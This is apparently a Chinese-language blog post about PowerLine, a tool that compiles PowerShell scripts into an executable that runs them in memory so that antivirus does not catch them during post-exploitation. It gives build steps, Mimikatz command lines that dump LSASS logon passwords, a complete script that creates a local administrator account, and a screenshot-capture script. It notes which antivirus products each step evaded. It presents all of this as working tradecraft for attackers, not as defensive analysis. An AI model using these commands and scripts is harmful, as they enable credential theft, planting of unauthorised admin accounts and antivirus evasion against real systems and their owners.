PowerShell之PowerLine

  在平时后渗透中,powershell是我们常用的脚本和方法,但是大多数杀软已经将直接调用powershell拦截,找到一个比较好的加载编译工具显得十分重要,这里只是简单的分享一下前一段时间发现的一款工具,用的比较顺手简单。

0x01 PowerLine

下载链接
1.png
优点:

1
2
3
1、快速安装、编译、运行,不需要安装Visual Studio PowerShell
2、对加载的powershell脚本进行编码绕过
3、执行编译好的exe,脚本在内存中运行

缺点:

1
2
1、需要对目标系统版本号了解,本地搭建相同环境编译
2、运行需要按照powershell执行方式

0x02 安装、编译

整个代码框架如下,脚本家在加载配置文件为UserConf.xml
2.png
使用过程如下:
1、运行build.bat
3.png
2、配置UserConf.xml文件,修改为需要远程加载编译的URL,自己本地的话把写好的powershell放到自己起的web里面就行。
4.png
3、运行PLBuilder.exe,回根据运行的系统版本编译成对应的exe
5.png
整个流程就这简单的三步,会在目录下生成1个PowerLine.exe,7个常见的ps脚本已经编译在里面了。

1
PowerLine.exe -ShowScripts //显示嵌入的脚本

6.png
之后可以根据每个脚本的使用命令执行相关的操作。

0x03 后渗透

1、Minikatz
普通的Minikatz已经被各大杀软查杀,都修改源码重新编译进行绕过,使用PowerLine加载Minikatz.ps也可以绕过一些免杀。

1
2
3
4
//dump lsass.exe
PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"privilege::debug`\" `\"sekurlsa::logonPasswords`\"\""
//dump lsass.exe 为dmp
PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"sekurlsa::minidump lsass_dump_name.dmp`\" `\"sekurlsa::logonPasswords`\"\""

7.gif
直接dump密码这种360可以检测到了,其他2款没有检测到。
2、添加用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
For($i=0;$i -lt $args.Count; $i++)
{
$User = $($args[0]);
$Passwd = $($args[1]);
}
$Computer = [ADSI]"WinNT://$Env:COMPUTERNAME,Computer";
$CompStat = Get-WmiObject win32_computersystem;
$Computer2 = $CompStat.Name;
$LocalAdmin = $Computer.Create("User", $User);
$LocalAdmin.SetPassword($Passwd);
$LocalAdmin.SetInfo();
$group = [ADSI]('WinNT://' + $Computer2 + '/Administrators,group');
$adduser = ("WinNT://" + $Computer2 + "/" + $User);
$group.add($adduser);

8.gif
几款杀软都没有检测到。
3、截图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function Get-ScreenCapture
{
param(
[Switch]$OfWindow
)
begin {
Add-Type -AssemblyName System.Drawing
$jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() |
Where-Object { $_.FormatDescription -eq "JPEG" }
}
process {
Start-Sleep -Milliseconds 250
if ($OfWindow) {
[Windows.Forms.Sendkeys]::SendWait("%{PrtSc}")
} else {
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
}
Start-Sleep -Milliseconds 250
$bitmap = [Windows.Forms.Clipboard]::GetImage()
$ep = New-Object Drawing.Imaging.EncoderParameters
$ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100)
$screenCapturePathBase = "$pwd\ScreenCapture"
$c = 0
while (Test-Path "${screenCapturePathBase}${c}.jpg") {
$c++
}
$bitmap.Save("${screenCapturePathBase}${c}.jpg", $jpegCodec, $ep)
}
}

9.gif

  这里只是尝试了常见的后渗透利用方法,利用powershell后渗透还是很有成效。大家可以使用PS实现其他功能。虽然现在不杀,不一定之后还能用,且用且珍惜。